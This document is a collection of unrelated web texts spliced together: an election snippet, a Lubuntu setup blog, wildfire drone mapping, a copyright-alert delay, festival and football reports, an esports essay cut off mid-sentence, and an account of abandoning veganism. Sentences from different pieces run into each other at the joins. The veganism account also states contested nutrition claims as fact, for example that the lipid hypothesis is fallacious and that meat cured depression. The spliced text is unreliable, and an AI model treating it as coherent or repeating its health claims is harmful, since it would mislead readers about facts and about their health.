This election looks set to be close. Most polls have been very close, with both major parties taking the lead over the course of the last year. The One Nation vote will make the election more complex, with One Nation preferences potentially deciding the winner in marginal seats, and the party hoping to pick up a swag of seats. If One Nation’s vote holds up and they can win a number of seats, a close election could lead to a hung parliament, with One Nation playing a critical role.UVTC's Blog
Upgrading Ubuntu 10.04 to … Lubuntu 11.10
2012-03-22
Update 2012-05-28: Xubuntu is also very nice…
I stayed with Ubuntu 10.04 LTS until today. Upgrading has always been on the “todo, sometime … soonish” list, but I’ve been hesitant to switch to Unity, preferring instead the classic desktop interface.
Today though, I was bitten by the spring-cleaning bug and figured it was finally time.
Being 3 versions behind what’s current, I opted to back up my data and do a clean Ubuntu 11.10 install. The installer program has been updated since the last time I used it. It now asks you right at the beginning if you want to grab available upgrades during the install process, and also asks you if you want some non-free extras included with the install. It also does a sort of dual-process install now, where it begins copying files while at the same time asking you for some other bits of info it needs during the install. Pretty slick.
After the install, and the reboot, I was faced with a fresh Ubuntu 11.10 desktop, featuring the Unity UI. I’m sure the Canonical devs have put lots of excellent work into Unity, but the UI was not my cup of tea.
Looking for something more plain, minimal, and more like a “classic standard” desktop — but still wanting the user-friendliness I was getting before — I was happy to find Lubuntu: a lightweight variant of Ubuntu. When booting the Lubuntu cd, at first I got a console-based installer, but it automatically switched to a GUI installer that looked just like the one that Ubuntu used earlier. The (again, clean) installation seemed a bit quicker (though I didn’t time it), and soon it re-booted and I was logged in.
Nice! Exactly what I was hoping for! :) Classic desktop. One main bar (“panel”) at the bottom. A regular applications menu. Lots of open space. Still user-friendly. Simple, fast, and practical. Perfect.
Customizing the panel is easy: right-click to access the “Settings” menu item (at the top of the context menu) for whichever element within the panel you just right-clicked on. Further down that context menu is a more general “Panel Settings” menu item which applies to the panel as a whole.
A few notes about changes I notice right off the bat from Ubuntu 10.04:
No panel along the top of the screen, giving you back a little screen real estate.
When you plug in an external storage device, it doesn’t show up on the desktop. Instead, a dialog pops up asking if you want to use the file browser to see it. Fine.
putting files into your ~/Desktop dir doesn’t make them show up on the Desktop. Fine.
Lubuntu comes OOTB with Google Chromium instead of Firefox, and so, required a quick sudo apt-get install firefox.
At first I didn’t see an obvious way to put the system “to sleep”. I’m on a laptop, and previously I could shut the laptop and Ubuntu would go into a sleep mode (I don’t recall at the moment what, if any, special config was required for that). What works now though is to click the shutdown menu and click “Suspend” – this puts the system to sleep and I can either close the lid, or click the power button to wake it up. Upon opening, XScreensaver prompts for a password. Works fine.
The default LXDE apps (for example, leafpad, gpicview, and the file manager) start up lightning fast.
Some quick changes I made right away:
right-click on the Desktop → “Desktop Preferences”. Also, “Main Menu → Preferences → Customize Look and Feel”.
Added some apps to the Application Launch Bar in the Panel (Right-click on the area of the panel to the right of the main menu and select the top menu item: “Application Launch Bar Settings”. Find and add apps.)
Added a couple more virtual desktops.
Right-click on the digital clock, “Digital Clock Settings”, and changed clock format to %B %d, %l:%M %p and tooltip format to %A %F.
Terminal: I like to install urxvt, and was pleasantly surprised to see an rxvt-unicode-256color package available. Nice! Had to search around to figure out how to add an application launcher to the panel (for launching urxvt) though. To do it: cd ~/.local/share/ mkdir applications; cd applications Then make a urxvt.desktop file in there that looks like this: [Desktop Entry] Encoding=UTF-8 Name=urxvt Comment=A nice terminal Exec=urxvt -bg gray36 -fg gray82 -fn xft:Inconsolata:size=12 Icon=lxterminal Type=Application Categories=Utility;TerminalEmulator (requires that you’ve installed ttf-inconsolata). Finally, add urxvt to the Application Launch Bar.
The default video driver for my hardware did not support a side-by-side dual-monitor setup. It was easy to find out how to get the necessary driver: “Menu → Preferences → Additional Drivers”. Simple.
Quite happy with Lubuntu so far! Aside from its own docs, another great resource is the LXDE wiki.
* * *
Reference: summary of some packages installed (via sudo apt-get install <the-pkg-name> ) right after Lubuntu was installed:The damage is devastating. In high definition, it's horrific. Every charred brick in a hearth attached to nothing, every burned detail in a metal chair that sits still-propped against a partially collapsed wall. You're hovering over what used to be someone's living room, and it's crystal-clear down to the half-inch.
This is the most detailed, highest-resolution drone mapping of damage caused by the northern California wildfires. Greg Crutsinger captured about 350 acres of the nearly 53,000 acres of homes and land consumed by the flames.
These 360-degree shots (which are not embeddable) are harrowing and upsetting.
Alameda County Sheriff's department called on Crutsinger to volunteer his drone business to help map the Coffey Park neighborhood, where 2,500 homes were burned and several people died or are missing.
The FAA issued temporary flight restrictions over the area, but with the county's clearance, he's able to fly at a range of altitudes and map the area extremely accurately in 360 degrees—every pixel represents half an inch.
For scientists studying how wildfires spread, this data will be invaluable for understanding how wildfires rip through residential areas. Gas and electric companies can use the data to understand how to rebuild. Evacuated residents can get a glimpse of what they'll return to once they're allowed to go back to where their homes once stood.
Crutsinger told me he took 10,000 photos overall, and it took two days to process a rough stitch of the map. For a less data-heavy, but still valuable, view of the scene, he used the Hangar 360 app: The drone flies straight up, takes photos with the camera straight up, at 45 degrees, and straight down, and then sends the images to the cloud.
It's processed and ready in minutes, instead of days—and the panoramas are sharable with links that can be passed around to firefighters or rescue crews to coordinate efforts. They also provide a look at the damage done, while it's still untouched by people returning to sift through what's left.The Center for Copyright Information, which help ISPs punish Internet copyright infringers by administering a "six strikes" warning system, was scheduled to start up the operation before the end of this year.
But today CCI announced that the rollout will be delayed at least a few months, until "early 2013." The reason given: damage from Hurricane Sandy, "which affected our testing schedules."
CCI Executive Director Jill Lesser wrote in a blog post:
Our goal has always been to implement the program in a manner that educates consumers about copyright and peer-to-peer networks, encourages the use of legal alternatives, safeguards customer privacy, and provides an easy-to-use independent review program for consumers to challenge alerts they believe they’ve received in error. We need to be sure that all of our "I"s are dotted and "T"s crossed before any company begins sending alerts, and we know that those who are following our progress will agree.
The six-strikes system involves using a third-party service, MarkMonitor, to locate user accounts that are trading copyrighted files online. Then it's up to the Internet service providers to get in touch with those users through an escalating system of warnings and ultimately punishments such as throttled speeds.
Earlier this month, two of the ISPs that will be involved with the system—Verizon and Time Warner—discussed the logistics of integrating the new system into their services by the end of 2012.Photos by Magnús Elvar Jónsson
Radiohead will be playing their Secret Solstice show in Laugardalshöll stadium, which holds fewer people than there are festival tickets available.
Only yesterday, it was announced that Radiohead would be headlining this year’s Secret Solstice festival, an outdoor concert festival to be held June 17-19. RÚV now reports that it is all but certain that Radiohead’s performance will take place inside Laugardalshöll.
The change of venue could mean that some people will miss out on seeing them: there are 13,000 Secret Solstice tickets up for sale, but Laugardalshöll has a maximum capacity of 11,000 people. About 4,000 tickets to the festival were already sold when the announcement of Radiohead’s arrival was made.
Ósk Gunnarsdóttir, the communications director for the festival, told reporters that she was not especially worried about the situation. There are plenty of other performances happening at the same time – 93 bands booked so far, with as many as 170 in all possibly booked – and not everyone buying tickets to the festival necessarily wants to see Radiohead, she said.
It is possible that other bands will play in Laugardalshöll as well, but this is not written in stone. There is still plenty of time until the festival, she said, and the top priority right now is to ensure the safety of Secret Solstice attendees.For those of you who don't want to invest an hour in watching a tax geek interview Green Party Presidential Candidate Jill Stein, I am having the interview broken down into bite sized chunks. I had two main goals in the interview. One was to get to know more about Dr. Stein. The other was to ask her about specific items in the Green Party platform that I found interesting. Most of the items were tax related, but a couple were not. This clip is about the Green Party's proposal for a 50 basis point financial transaction tax.
As you see she did not say that the traders should go to work building windmills. That is merely my way of indicating how unconcerned she is about a transaction tax pushing trading overseas and devastating the economy of Manhattan and Chicago and probably some other places I am not thinking about.
Oddly enough, Dr. Stein's sentiment that maybe less trading would be a good thing is in line with the sentiments of some of my border line Tea Party friends. When Occupy Wall Street brought the transaction tax up in the fall, that was one of the only things that the geriatric segment of my office was in sympathy with. I think they got most of their information on OWS from me. You probably will not be surprised that they rely on me for information about Dr. Stein and the Green Party.
I found Dr, Stein's answer on the transaction tax one of the least satisfying pieces of the interview. I think there is something off about comparing it to a sales tax, which it is more of a tax on consumption. Also, with interest rates as low as they are, 50 basis points seems like an awful lot to pay to trade a bond.
If you would like to watch the entire interview, here it is.
You can follow me on twitter @peterreillycpa.From depressing to gegenpressing : the Jurgen Klopp era began with sweat rather than swagger, but there was enough to recruit more believers from the ranks of doubters.
Seeing footballers run until their legs buckle is peculiarly reassuring, even if the quality was lacking. Adam Lallana collapse into his manager’s embrace after the most active 80 minutes of his Anfield career was an enduring image of a laborious afternoon at White Hart Lane.
Klopp acknowledged all his exhausted players with handshakes and hugs. A few would have preferred the tinsel towels you throw across those who’ve just completed a marathon.
“I am not sure how many games you saw like this from Adam Lallana? What do you think?” said Klopp.
“Never,” was the only valid response. Certainly not in the last 18 months.
“I know him from Southampton and he can do 20/30 per cent more,” added Klopp.
So much for the physical upgrade, what about the technical deficiencies? Perspiration won’t go far if attacking innovation is lacking.
• Spurs vs LIverpool: five things we learned
Like his Dortmund side, Klopp knows when to go full throttle when necessary. He was at his most animated extolling the virtues of the squad he’s been bequeathed.
“Coutinho? Do you not think he can play better football? Of course, he can,” he said.
Photo: Copyright (c) 2015 Rex Features. No use without permission.
“Lucas? You don’t think he can play balls on the right and left side? Of course he can. Emre Can? Learning between running and passing. He can learn. Milner? The complete football player, the perfect professional, a machine, everything is there.
“We don’t have to sprinkle magical dust on them.”
A customary mime emphasised the point. Klopp sprinkled imaginary fairy powder.
“And now you can play football,” he said, words soaked in irony.
“I should teach them technical aspects? They know how to play. We have to help them to show it. This is not the biggest problem in life.
Photo: Copyright (c) 2015 Rex Features. No use without permission.
“We just have to create a situation where it is possible to do this. There is pressure yes, but it is not the biggest pressure, these guys are running for their life.
“Of course we should play better football. Not because I say but because we can. The most important thing is for the players to be prepared to be a little bit wild. You can run and then you can miss. No problem. Don’t worry. Come back again. We can do better and will do better.”
The difference between Klopp and his predecessors’ statements on taking the Liverpool job can’t be underestimated. No sooner had Gerard Houllier, Rafa Benitez and Brendan Rodgers arrived and they were talking about squad rebuilding and the high-earning deadwood they had to shift.
“I’m not a miracle worker,” was their early message.
“I don’t need to be,” is Klopp’s contrary perspective.
He defended his inheritance as if he’d handpicked these players. In some cases – as with the inexperienced striker Divock Origi – he staked his reputation on developing him by admitting he wanted to buy him at Dortmund. How the young Belgian’s back must have stiffened on hearing those words. James Milner said Klopp’s touchline charisma is like ‘having a 12th man’.
Not everyone was buying into it.
Spurs’ manager Mauricio Pochetinno suggested the efforts had more to do with players impressing a new coach.
Photo: Copyright (c) 2015 Rex Features. No use without permission.
“If you have the opportunity to see the game Arsenal versus Liverpool, it was the same high tempo that Liverpool played under Brendan Rodgers. We should be fair,” he said.
Not true. Liverpool ran, sprinted and tackled more than in any game this season. It was not the same as the vapid, lethargic performances typifying the start of this season and the end of the last one.
Pochettino had a similar galvanising impact at Southampton but the Spurs coach admitted a different profile of player slowed the process at White Hart Lane. Tottenham are improving but this was a missed opportunity.
Photo: 2015 Getty Images
Simon Mignolet’s three saves – two denying the excellent but unlucky Harry Kane – proved the difference, but after dismantling Manchester City a chance for the hosts to underline Champions League credentials was lost.
Take out the Klopp factor and the Merseysiders’ were understrength and bereft of firepower given the late (and utterly predictable) withdrawal of Daniel Sturridge.
No wonder Klopp was so satisfied.
Photo: Copyright (c) 2015 Rex Features. No use without permission.
“We Believe,” was the banner in the away end, emphasising The Kop’s conviction they have the right man as their leader.
If Klopp stirs similar faith his squad is Champions League material he’s more of a magician than he thinks.This article represents the opinion of the author and not necessarily that of Team Dignitas.
I'd like to start this article by saying that the following article is not an indictment on Marn or his organization and their dissolution. This article is only meant to explain the situation that led to MRN's dissolving and discuss how the Challenger Circuit, or the lack there of, contributed to this event.
As such, while I may make specific statements about players on MRN, they are not intended to be offensive, rather I am simply trying to explain situation in full. This is also not an article that is intending to undermine the victory by Velocity eSports, nor blame them for the dissolution of MRN. Basically, this is an attempt to disarm anyone in the comments from misinterpreting what I'm writing.
The rise and fall of Team MRN explains the problems with the NA LCS and Challenger Circuit.
Team MRN has always been a team that's been heralded by a fluid roster and a great deal of drama involving the team's owner, Martin "Marn" Phan. The team had gone through numerous rosters, and Marn had a flair for the dramatic, which sometimes resulted in such catastrophes such as the aborted MRN roster that was to go to IPL5. However, one thing that has never been questioned is Marn's passion for eSports, which makes it so much sadder that his team had dissolved after they failed to qualify for the Summer Split of the North American LCS.
MRN said in his statement that "the dream is dead" and that while they were improving at the end of the season it didn't matter. It's horrible to see someone that put his heart and soul into his team get crushed, and thats what the dissolution of MRN did. And the reason that MRN dissolved is that we shouldn't be calling the North American LCS Promotion/Relegation Tournament a "relegation tournament". There is nothing to relegate to, no strong Challenger scene and no way to even attempt to make a semi-professional team work for an extended period of time for amateur teams.
The Challenger Scene Internationally
The "Challenger Scene" is the semi-pro scene that occurs under the professional level, and exists throughout the world. Each region has these two scenes, the "professional" and the "semi-pro" or "amateur" aka "challenger". The professional circuits of these regions are ones that have direct support from Riot Games and the players make an ensured salary, allowing it to be their full time job.
The League Championship Series of NA and Europe, OGN's The Champions in Korea, the Garena ProLeague in Southeast Asia, and the Tecent ProLeague in China make up this highest level of competitive play. The teams of the challenger circuit are those teams trying to break into this career. The NLB of Korea, the Challenger Circuits of NA and Europe, the national leagues of SEA (Like Singapore's The Legend's Circuit), and the constantly shifting national tournaments of China provide the opportunity for these teams to make the break.
This is not to say that the competitive scenes of these regions is homogenous, however. Where as North America and Europe have clearly delineated lines between the challenger and professional leagues, Southeast Asia has these teams playing for spots in the Regional finals against GPL squads in their national leagues.
Korea has quite a solid profesional league, but the teams aren't isolated from each other, as many of the teams need to requalify for The Champions each year, either through relegation through the NLB or the OGN Qualifiers. (Teams that fall short in The Champions are demoted to the current season of NLB, a similar process to the demotions of players in Starcraft's GSL Code A/Code S.) And as such, the challenger circuits of each of these regions have different levels of success.
Amateur teams in Korea have a brutal path up to the top, having to fight their way through the twenty-four team NLB or the massive qualifiers to get a shot into the top level. Once they reach that top level, however, they're normally greeted by an eager KeSPA (Korean eSports Association) or eSF (eSports Federation) organization looking to put a team into the tournament. These teams have massive infrastructures built upon the success of Brood War and can give the players stability, organization, and job security they need to succeed at the top level.
With eight teams that were in the Champions demoted into the NLB bracket, there is actual contact between professional teams and challenger squads in a competitive environment, which also leads to less shell-shock on stage. (This isn't necessarily always true, as seen by MVP Blue during Champions Winter.) Turnover tends to be high, however, as the fates of AHQ Korea and MVP Blue can show, but challenger teams can make their mark in the Champions, like SK Telecom T1, which was a motly group of amateurs and semi-pros that has shocked the Korean scene.
The Legends Circuit of Singapore has placed semi-pro teams against the professionals, and has been very entertaining.
In Southeast Asia, the chasm betwen the professional teams and the challenger teams varies so very greatly depending upon the |
depression. This awful, lifelong foe I’ve been battling on and off was sneaking back into my life, painting the edges of my world a sickening black and stealing the joy that I had fought so desperately to regain.
The doctor, who was kind and very understanding, was surprisingly knowledgeable about vegan diets and had a career long specialization in nutrition. After ruling out any other possible medical condition, she patiently spoke over my tears and my hitching sobs and explained that yes, humans are healthiest when eating a large amount of varied plant foods, but that we would be wrong to ignore the small amounts of animal products that many of us so essentially need. “Most human bodies run optimally on the occasional animal product. Eggs and bits of meat every so often are small but very important parts of a healthy diet.” she said, a look of sorrow on her face. She could see how hard this was for me.
She told me that while there are people who can be quite healthy on a vegan, or predominantly vegan, diet, there were many people who simply could not. After all, every human is biologically and physiologically different, she explained. I listened patiently, refuting her claims with the knowledge I’ve gleaned over the years. After all, I wasn’t just a regular vegan, I was a hardcore, self-righteous and oh so judgmental vegangelical. I never passed up an opportunity for some preaching. She was prepared. Just as patiently she explained how many of the ‘facts’ I was quoting were just plain wrong, or had been presented in a way that distorted the truth. It was horrifying and I almost passed out in her office because I was so worked up.
She respected the fact that I was committed to staying vegan and worked with me for over an hour to figure out how I could maximize the nutrients in my already superbly healthy vegan diet. According to her, I was already doing everything right. Along with the minor dietary suggestions, she also recommended a variety of supplements in addition to the ones I already took everyday, including iron tablets.
I remained silent when she gave me the B vitamin injection, I tried not to cry as I waited in line at the pharmacy for my iron tablets, and when I arrived back home I hid the papers and the box of pills in the back of my bedside table. I didn’t tell anyone for days, not even Cody. I had failed and it would be my dirty little secret.
For a week I took the iron pills dutifully, somehow ignoring the fact that they weren’t vegan. I had felt a small measure of improvement immediately from the B vitamin injection, and was hoping for the same affect from the iron pills. Unfortunately, it was obvious after only a few days that they were making me ill. I couldn’t keep food down, I was spending hours a day in the bathroom, alternately hunched over or perched on top of the toilet. I was losing weight and feeling worse than ever.
I went back to the doctor and, just as patient as ever, she said that I was obviously not handling the pills well. I’m sensitive to just about all medication, even Advil has been known to make me sick, so this was no surprise. She asked me if I would consider adding a few eggs to my diet every day. I shook my head, a few eggs couldn’t really be that important. She explained that yes, they really were. But I still said no. Absolutely not. After another lengthy counseling session she wrote another prescription for another kind of iron supplement. Once again I tried to fight back tears at the pharmacy.
The new round of pills was even worse. I would rather feel weak, dizzy, and depressed, than this violently ill. After 2 weeks I threw the pills in the trash and returned to the doctor again.
She spoke to me for a long time, explaining again in great detail exactly how and why a vegan diet was damaging my body. Nutrition is a shockingly inexact science; no one completely understands the complicated dance of vitamins and minerals, much less the synergy of whole foods and their role in our health. But she tried to give me as comprehensive a breakdown as I would understand. She discussed heme iron, the lack of specific nutrients that lead directly to depression and anxiety, she talked at length about vitamin A, taurine, retinol, beta carotene, vitamin D, omega fatty acids, as well as B12 and the disastrous and irreversible results that occur when the body finally depletes its last stores of that crucial ingredient for health, and much more.
She explained how the health problems we are plagued with in the Western world are not caused by animal products, far from it. Humans have been consuming animals (in much greater quantities than we do now) for millions of years without ill effect, and historically there has never been a single vegan culture. We need to look at the recent additions to our diet to uncover the causes of our sudden modern plagues: refined sugar, hydrogenated vegetable oils, trans fats, refined flours, chemical toxicity and the industrialized denaturing of all forms of food. According to her, avoiding healthy, organic animal products was not only unnecessary for good health, but in most cases positively detrimental to our well being.
“You see,” she concluded, “for many, if not most, people a totally plant based diet is not a good thing. It obviously is not working for you and that is nothing to be ashamed of. The body has evolved to utilize meat efficiently and healthfully, not tablets or pills. You’ve been taking B12 supplements for years, and you’ve been trying to take iron supplements for weeks, and they haven’t been utilized by your body at all. Supplements are a very poor substitute for whole foods. Taking medication is not the best option and it is not necessary; you could almost certainly regain your health on a balanced diet. It is my recommendation that you try that.”
I shook my head in silence.
“I’m sorry, I just can’t. I won’t.” I said to her for the millionth time, wiping the tears that were flowing down my face. “It just isn’t going to happen. I don’t care how sick I am. It’s wrong to eat animals!”
She leaned forward on her desk and made one more plea for me to think more carefully about my health and well being. “Natasha, you are hurting yourself. You are very, very sick. Your hair is falling out, your depression is back, and you are making yourself ill. You cannot go on like this.”
I stared at her for several long seconds, then got up and left the room.
I returned on schedule for my follow up B vitamin shot (and several visits with several other kinds of doctors including a cardiologist – more on that later), but I was only going through the motions, I always stopped myself from dwelling on the serious health problems I was having, it was just too painful.
I kept eating healthfully, as I always have. An entire head of greens every morning in my fruit smoothie, beans almost every day, tons of citrus fruits in my lunch snack plates, tofu, soaked nut pates, whole grains, sprouted grains, and roasted veggies, and of course my daily vitamins, all of the delicious, beautiful food that I loved. This diet was supposed to make me healthy in addition to saving the world, not make me ill. Everything I had ever been told by vegans had said that this was the optimum way for humans to eat.
I wanted desperately for it to be right, for my ethics to outweigh my physiology.
Of course, I never questioned why I was constantly hungry. Why 2 veggie burgers, a giant raw vegetable salad, and a bowl of nuts, couldn’t keep me full longer than 2 hours. It was exhausting, physically painful, and tedious trying to keep myself fed, but I figured it was worth it. I was healthy. Or at least, that’s what I thought until it was proven otherwise. I’m still not sure why I accepted for so long that fatigue, exhaustion, and growing depression were a normal part of life that was to be expected as one grew older. After all, I am only 28 and I’ve never in my life suffered from ill-health. But the fact is: I wanted veganism to work. I wanted desperately for it to be right, for my ethics to outweigh my physiology.
I delicately broached the topic of my ill-health with several vegan friends. I even made comments on other blogs and on twitter highlighting my struggles. The response was nothing short of shocking. In the span of just a few days I received an outpouring of emails from fellow ‘vegan’ bloggers, who told me in confidence that they weren’t really vegan ‘behind the scenes’. They ate eggs, or the occasional fish, or piece of meat, all to keep themselves healthy, but were too scared to admit to it on their blogs. I even received emails from two very prominent and well respected members of the vegan AR community. One a published and much loved vegan cook book author, the other a noted animal rights blogger, their emails detailed their health struggles and eventual unpublicized return to eating meat. Many people sent me links to other vegans who had struggled with veganism related health problems and had been forced to return to eating animals and animal products, or had decided to stop following a vegan diet, such as: Raw Model, Debbie Does Raw, Daniel Vitalis, Sweetly Raw, Chicken Tender, The Non-Practicing Vegan, and PaleoSister, to name just a few. It was refreshing to know I wasn’t the only one suffering from this problem, and the more I heard, the more it seemed I wasn’t even in the minority.
Unfortunately, there were also masses of people who contacted me to offer unsolicited and often insultingly patronizing advice. They made sure to let me know that I was only sick because I was ‘doing veganism wrong’. ‘Have you tried more greens/beans/tofu/nuts?’ the questions were relentless. I was baffled by the suggestions to eat imported goji berries, use maca powder in my smoothies, or eat more spirulina. All these exotic recommendations were supposedly needed to make me healthy on a diet that is heralded as natural and ideal; it absolutely did not make sense.
Many more vegans just rolled their eyes, blatantly skeptical that I was feeling ill in the first place. The realization that people I had previously considered friends were now flat out refusing to believe in the veracity of my health problems was shocking. Could they honestly think that I would give up on veganism right away? Did they truly believe I hadn’t tried everything in my power to make this work? ‘Spend 1 day in my body barely able to walk from exhaustion, feeling dizzy, cold, and depressed, and then judge me!’ I wanted to scream at them. But I didn’t. I just stopped talking about it.
As a feminist, this body hating rhetoric infuriated me.
After that, I soldiered on in silence for many months. I lied to myself, to my readers, to the world saying I felt healthy and fine, when in reality I felt worse than ever. During this time I saw doctor after doctor and tried every suggestion and recommendation, desperately hoping for a cure. I was determined to make veganism work; I was always convinced that just around the next corner I would find the solution. I tried to skirt the issue of my health problems with fellow vegans, cringing as they insisted that anyone who couldn’t be healthy on a vegan diet obviously ‘wasn’t doing it right’. I wanted to scream, but instead I kept my mouth shut, and listened to their arrogant and ignorant opinions on why so many people ‘failed’ at veganism. Some people even suggested that those of us who couldn’t remain healthy as vegans should willingly sacrifice our health for the cause. As a feminist, this body-hating rhetoric infuriated me. The willing participation in the denial and degradation of my bodily needs smacked of misogyny, patriarchal control and violence against the female body, and everything that I fight against. But still, I kept my mouth shut. I didn’t know what else to do.
For 3 years I built my entire life on the premise of veganism. It was my life’s passion, my guiding light. Being a vegan was everything to me. I believed my actions made me an animal rights crusader; I was saving lives, and changing the world Now, I know otherwise, but it took a very long time to realize that. For months I was consumed with my self-induced illness, but I still couldn’t abandon veganism; I couldn’t stop fighting for what I believed in. Even if it was hurting me.
Part 2 – Healing
I felt profoundly joyful in finally listening to the wisdom of my body.
Instead, my face felt warm, my mind peaceful, and my stomach full but….I searched for a word to describe how it felt….comfortable. I realized that for the first time in months I felt satiated without the accompaniment of stomach pain. I had only eaten a small piece of cow flesh, and yet I felt totally full, but light and refreshed all at once. I reveled in that new and unexpected combination of sensations. How amazing it was not to need to eat for an hour solid till my stomach stretched and distended over my pants just to buy an hour or two of satiety. How beautiful it felt to be able to eat the exact thing that for so long my body had been begging for. I felt profoundly joyful in finally listening to the wisdom of my body. What a revelation.
Then I noticed something else odd: my heart was beating slowly, steadily. Normally, after a typical meal of veggies, rice and beans, or other starchy fare, my heart would race and skip for an hour or so afterward. Several visits with a cardiologist, more blood work, an EKG and an echo-cardiogram had confirmed that my heart was in perfect shape. The cardiologist explained that the unnerving post-meal palpitations were a symptom of my deficiencies, as well as a sign of blood sugar instability caused by the massive servings of carbohydrates I was consuming. Now after eating a single piece of steak, my heart thudded on, steady, strong, and slow. It made me cry all over again, this time in joy.
Every day for the past 2 months I have eaten fish or a piece of meat or eggs. To my never ending shock I have found that I digest a meat and veggie meal far, far better than I ever digested a whole grain/nut/veggie meal. I know that the lipid hypothesis is completely fallacious, these animal foods won’t hurt me or cause me ill health in anyway, in fact, the vitamins and minerals they provide, along with the nutritious cholesterol and wholesome saturated fat, will restore my health. And they have. There are few things as healthy and nutritious as grass fed, organic animal products. So, for these past months, I ate animals and animal products every single day. And, I say with a huge, grateful smile on my face: I’m back! After 1 month on my new diet my blood levels were either normal, or almost normal. After 2 months every single deficiency and out of whack number was completely restored to the healthy, normal range. Not one problem. Not one.
They always say you don’t really know what health is until you’ve lost it. And I never realized how unhealthy I actually was until I started feeling better. Glowing is the only way I can possibly begin to describe the way I feel now. If I was a religious woman, miraculous would have to be my word of choice to express the transformation I’ve undergone in the past 2 months. I’m now reveling in my health; basking in the clear headed precision of my thoughts, the strength of my legs when I run, the warmth radiating from my skin, the slow, melodic power of my heart, and the perfect knowledge of my body when it tells me exactly what to eat, how much, and when.
Eating meat everyday turned out to be incredibly easy because it was exactly what I had needed all along.
My diet is now, obviously, very, very different than what it was before. At first, when the doctor suggested I eat small servings of meat or eggs everyday to regain my health I was panicked. How disgusting, I thought. Surely I would have to force it into my mouth and it would be a battle just to swallow without vomiting immediately. The doctor just smiled and told me to listen to what I wanted. Not what I thought I should eat, but what I actually, really wanted. This immediately struck a chord with me. So, with my doctor’s permission, I really listened to my body for the first time in years. And, perhaps not so surprisingly, I found myself reverting right back to how I had eaten all of my life before going vegan, back in the years when I felt healthy and invincible and never had to deal with sugar crashes, mood swings, and ravenous hunger with the accompaniment of a stuffed and bloated belly. Eating meat every day turned out to be incredibly easy because it was exactly what I had needed all along.
The changes that I experienced were manifold and occurred so quickly and decisively I almost couldn’t believe it. Within one week I was able to stand up without seeing black spots in my eyes, and I was sleeping peacefully through the night. To my relief, my constant stomach pains and bloating completely vanished. Within 2 weeks I noticed my allergies were diminishing, even at a time when all the trees and flowers in our community were beginning to bloom. Also at 2 weeks I no longer needed a sweater just to sit on the couch, my toes and fingers had stopped feeling like perpetual icicles. At 3 weeks I could complete a light 20 minute cardio workout without feeling dizzy or nauseous, something I had been unable to accomplish for months. At 3 weeks I also noticed the most amazing change of all: my depression was diminishing. Days would go by when I wouldn’t succumb to hours of sobbing or listlessness. At 4 weeks I noticed three very strange things: my mysterious lower back pain that had been bothering me for nearly a year had vanished, even though I hadn’t changed my shoes or done any physical therapy; the skin on my face was plump and full and the fine lines that I had figured were just a sign of being nearly 30 had faded so much they were barely discernible, even though I had not changed anything about my skin care routine; and finally, I noticed my hair was thicker, shinier, and much fuller than it had been in years, even though I hadn’t changed anything about my hair care routine.
And now, after 2 full months of non-veganism I can honestly say I feel reborn.
At 5 weeks I noticed a steady, permanent buzz of energy that carried me throughout the day. I started being able to run errands, work out, and do my writing, all in the same day without needing frequent rest stops. I kept waiting for exhaustion to sneak up on me…but it never once reared its ugly head. After 6 weeks I was reveling in my strength and stamina, I literally walked around the gym with my mouth hanging open in awe of my endurance and new found strength. I was unstoppable. Also at 6 weeks I knew for sure, in the way that only a person with the battle scars of depression can know, that my feelings of sadness were gone for good. Joy and the most indescribable sense of relief and tranquility were now just a given when I woke up in the morning. And now, after 2 full months of non-veganism, I can honestly say that I feel reborn. Healed doesn’t even begin to describe it, because I have so surpassed even my most wild expectations. I am healthier and fitter and happier than I ever remember being. My days are jam packed with hours of working out, riding my horse, hiking with my dogs, laughing with friends, working, writing, and just plain living. I feel healthier and stronger (so much stronger that I can’t even describe it) than I have in years, and it isn’t something I’m going to ever give up again. I’m back!
Part 3 – Rethinking my Beliefs
3.5 years of veganism didn’t just leave me exhausted, depressed, and very sick, it also filled my head with doubts and questions about the ethics of veganism. If I actually need to eat animals to be healthy, how can it be so wrong? It has been a complicated and eye-opening journey, and I now find myself in a much different place than I was 3 years ago, a year ago, or even several months ago. Perhaps if my health hadn’t improved so dramatically upon the reintroduction of animal flesh I wouldn’t be so sure, but it did improve remarkably, and now that I have my life and my happiness back, I will never give it up again. Ultimately, I can no longer think it is wrong to eat animals.
Several years ago I believed veganism fit in perfectly with my determination to drastically reshape the world. As a revolutionary feminist and anti-imperialist, veganism seemed to be yet another way I could fight the injustices we are facing. But as the years wore on and my body began devouring itself for the sustenance that my vegan diet couldn’t provide, I began to lose the will and the energy to do the vital work I had so loved. I no longer had the mental clarity to write my famous scathing exposes, or the physical energy to teach, organize, and build solidarity. I was sputtering out, grinding to a screeching halt. I realized that veganism, my choice to buy ‘cruelty free’ foods, was quickly becoming my only avenue for activism. It was the only thing I really had energy for anymore. As a staunch radical I’ve always been opposed to capitalism’s emphasis on the personal solution, I refuse to buy into the mainstream myth that we can shop our way out of catastrophe. And yet…with my dwindling energy reserves and devastating health problems I realized that was exactly what I was doing. When I stumbled along this quote about veganism by Megan Mackin it seemed as if it had been written for me: “It begins, eventually, to look like a very effective way to co-opt a movement: take the most passionate activist-minded, girls especially, and get their focus on a way of living that drains energies and enforces conformity in others. The Big Boys still run things, but now even more freely – with out much interference.”
I eventually forced myself to apply the same ethics I had used to analyze animal foods to the analysis of plant foods, and tried to calculate the macro impact of my food choices. I soon realized that I had to make a serious change. As I’ve written about before, the foods I was eating as a vegan saved no more animal lives and were no ethically better than the foods I am now eating as an omnivore, with two main differences. First, I now no longer lie to myself about the fact that life requires death. Second, I am now healthy. Just like always, I still care intensely about the environment, the well being of animals, and the politics of food, but my ideas of how to do the most good and effect the most change have drastically transformed. I reexamined the party line of veganism, that it is the moral baseline, and admitted to myself that I had never been comfortable with the arbitrary declaration of drawing a line in the ethical sand. In fact, during my time as a vegan I never stopped searching for an even better solution and a more ethical way to live. I definitely believe I’m on the right path. My new thoughts don’t have veganism’s catchy slogans like ‘Meat is Murder’, but here’s a quick wrap up:
In one of those strange circumstances of serendipity that life is always throwing our way my veganism induced health problems coincided with a period of intense food justice activism in my own life. During this time in my work as a food rights advocate I had many, many discussions with agronomists, farmers, agroecologists, and global south advocates, and I learned how very wrong I was in my previous conviction that veganism would save the world. While veganism presents a very simple and easy to understand solution to the world’s problems, and has therefore become the go to politically correct strategy, it is at best a band-aid for the ecological and world hunger crises we are facing. The need for the entire world to go vegan in order to stop global warming or prevent chronic hunger is simply and irrefutably false.
